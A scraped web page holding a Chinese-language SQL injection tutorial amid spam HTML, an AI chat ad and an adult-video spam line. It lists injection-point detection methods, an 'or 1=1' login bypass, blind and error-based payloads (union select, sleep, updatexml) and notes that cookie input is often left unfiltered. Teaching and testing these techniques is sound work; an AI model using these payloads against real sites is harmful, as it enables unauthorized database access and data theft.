<ruby id="bdb3f"></ruby>

    <p id="bdb3f"><cite id="bdb3f"></cite></p>

      <p id="bdb3f"><cite id="bdb3f"><th id="bdb3f"></th></cite></p><p id="bdb3f"></p>
        <p id="bdb3f"><cite id="bdb3f"></cite></p>

          <pre id="bdb3f"></pre>
          <pre id="bdb3f"><del id="bdb3f"><thead id="bdb3f"></thead></del></pre>

          <ruby id="bdb3f"><mark id="bdb3f"></mark></ruby><ruby id="bdb3f"></ruby>
          <pre id="bdb3f"><pre id="bdb3f"><mark id="bdb3f"></mark></pre></pre><output id="bdb3f"></output><p id="bdb3f"></p><p id="bdb3f"></p>

          <pre id="bdb3f"><del id="bdb3f"><progress id="bdb3f"></progress></del></pre>

                <ruby id="bdb3f"></ruby>

                ThinkChat2.0新版上線,更智能更精彩,支持會話、畫圖、視頻、閱讀、搜索等,送10W Token,即刻開啟你的AI之旅 廣告
                ## sql注入的準備工作 1. 確定 Web 應用程序所使用的技術 可以考察 Web 頁面的頁腳,查看錯誤頁面,檢查頁面源代碼,或者使用諸如 Nessus、AWVS、 APPSCAN 等工具來進行刺探。 2. 確定所有可能的輸入方式 Web 應用的用戶輸入方式比較多,其中一些用戶輸入方式是很明顯的,如 HTML 表單; 另外,攻擊者可以通過隱藏的 HTML 表單輸入、HTTP 頭部、cookies、甚至對用戶不可見的 后端AJAX 請求來跟 Web 應用進行交互。 **一般來說,所有 HTTP 的 GET 和 POST 都應當作用戶輸入。** 為了找出一個 Web 應用所有可能的用戶輸入,我們可以求助于 Web 代理,如 Burp 等。 3. 查找可以用于注入的用戶輸入 在找出所有用戶輸入方式后,就要對這些輸入方式進行篩選,找出其中可以注入命令的那些輸入方式。 多多留意 Web 應用的錯誤頁面 通常只要帶有輸入提交的動態網頁,并且動態網頁訪問數據庫,都是潛在的探測點 ```sql # 萬能密碼: 'or '1'='1 ## 源語句: select * from user where name='xx' and pwd='hhh'; ## 目標語句: select * from user where name='' or '1'='1' and pwd='' or '1'='1' #注入語句樣例 and 1=2 union select 1,2,3 -- select user() regexp '^ro' ascii(substr((select user()),1,1))=114 if(ascii(substr((select user()),1,1))=114,0,sleep 5) ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=9 updatexml(1,concat(0x7e,(select @@version),0x7e),1) ``` ## 手工檢測 SQL 注入點 最常用的 SQL 注入點判斷方法,是在網站中尋找如下形式的網頁鏈接。 ~~~url http://www.xxxxx.com/xxx.asp?id=xx (ASP 注入) http://www.xxxxx.com/xxx.php?id=xx (php 注入) http://www.xxxxx.com/xxx.jsp?id=xx (jsp 注入) http://www.xxxxx.com/xxx.aspx?id=xx (aspx 注入) http://www.xxxxx.com/index.asp?id=8&page=99 (有多個參數,需要區分用哪個參數來驗證注入) http://www.xxxxx.com/index/new/id/8 偽靜態 http://www.xxxxx.com/index/new/php-8.html 偽靜態 ~~~ ## 判斷是否存在sql注入 如何判斷某個網頁鏈接是否存在 SQL 注入漏洞呢?通常有兩種檢測方法。 1. 單引號法 第一種檢測 SQL 注入漏洞是否存在的方法是“單引號”法。方法很簡單,直接在瀏覽器地址欄中的網址鏈接后加上一個單引號,如果頁面不能正常顯示,瀏覽器返回一些異常信息, 則說明該鏈接可能存在注入漏洞。 2. `1=1` 和 `1=2` 法 很多時候檢測提交包含引號的鏈接時,會提示非法字符,或直接不返回任何信息,這種情況下可以如下嘗試: ~~~sql #先在鏈接地址后加上 and 1=1,提交 xxx.com/xx.php?id=xx and 1=1 #再替換為and 1=2,提交 xxx.com/xx.php?id=xx and 1=2 #如果返回不同的頁面, 那么說明存在 SQL 注入漏洞。 ~~~ 3. 兩種方法的組合變種 ```sql 'and 1=1 / and 1=2 'and '1'='1 / and '1'='2 'and 1 like 1 / and 1 like 2 ``` 4. 更多方法組合的常用判斷語句 在插入的注入語句后面,增加`-+`或`#`,用以注釋掉后面的正常語句 `#`有時會被過濾,因此可以使用url編碼,將#表文`%23` 單引號也有可能會被過濾,可以換成雙引號 可以在引號后加一兩個括號,用以實現可能的語句閉合,如 ```SQL or 1=1–+ or 1=1# or 1=1%23 'or 1=1–+ "or 1=1–+ )or 1=1–+ ')or 1=1–+ ") or 1=1–+ "))or 1=1–+ ``` ## 注入分類 1. 數字型注入:` or 1=1` 當輸入的參數為整型時,如ID、年齡、頁碼等,如果存在注入漏洞,則可以認為是數字型注入。 >這種數字型注入最多出現在ASP、PHP等弱類型語言中,弱類型語言會自動推導變量類型, 例如,參數id=8,PHP會自動推導變量id的數據類型為int類型,那么id=8 and 1=1,則會推導為string類型,這是弱類型語言的特性。 而對于Java、C#這類強類型語言,如果試圖把一個字符串轉換為int類型,則會拋出異常,無法繼續執行。所以,強類型的語言很少存在數字型注入漏洞。 2. 字符型注入:` ’ or 1=1#` 當輸入參數為字符串時,稱為字符型。數字型與字符型注入最大的區別在于:數字型不需要單引號閉合,而字符串類型一般要使用單引號來閉合。 3. 搜索型注入: `%xxx% or 1=1 #%’` 當在搜索框搜索的時候,稱為搜索型。搜索類型一般要使用百分號來閉合。 ~~~SQL select * from 表名 where 字段名 like ‘%(對應值)%’; # 源 select * from 表名 where 字段名 like ‘%(對應值)or 1=1 #% %’; # 目標 ~~~ 4. XX型注入: `xx’) or 1=1#` 這種情況很少見,是程序員不規則操作造成的,沒有找到例子。 ## 注入提交方式 **三種方式注入方法** 1. post 可通過安裝火狐瀏覽器插件(hackbar)或 Burp 工具來完成 2. get 一般直接通過瀏覽器地址欄提交 3. cookie 一般通 Burp 工具來完成,修改cookie,進行一個注入 **請求頭中可以利用的點** ![mark](http://noah-pic.oss-cn-chengdu.aliyuncs.com/pic/20210617/213523166.png) **ASP和PHP中的調用函數** ```sh # ASP request (全部接受) request.querystring (接受 get) request.form (接受 post) request.cookie(接受 cookie) # PHP: $_REQUEST(全部接受) $_GET(接受get) $_POST (接受 post) $_COOKIE(接受 cookie) #一般中間件 waf 防火墻,對get防護最高,其次是post,最后是cookie #很多人在寫注入防御代碼時,寫了post、get的,但是沒有過濾cookie的 ```
                  <ruby id="bdb3f"></ruby>

                  <p id="bdb3f"><cite id="bdb3f"></cite></p>

                    <p id="bdb3f"><cite id="bdb3f"><th id="bdb3f"></th></cite></p><p id="bdb3f"></p>
                      <p id="bdb3f"><cite id="bdb3f"></cite></p>

                        <pre id="bdb3f"></pre>
                        <pre id="bdb3f"><del id="bdb3f"><thead id="bdb3f"></thead></del></pre>

                        <ruby id="bdb3f"><mark id="bdb3f"></mark></ruby><ruby id="bdb3f"></ruby>
                        <pre id="bdb3f"><pre id="bdb3f"><mark id="bdb3f"></mark></pre></pre><output id="bdb3f"></output><p id="bdb3f"></p><p id="bdb3f"></p>

                        <pre id="bdb3f"><del id="bdb3f"><progress id="bdb3f"></progress></del></pre>

                              <ruby id="bdb3f"></ruby>

                              哎呀哎呀视频在线观看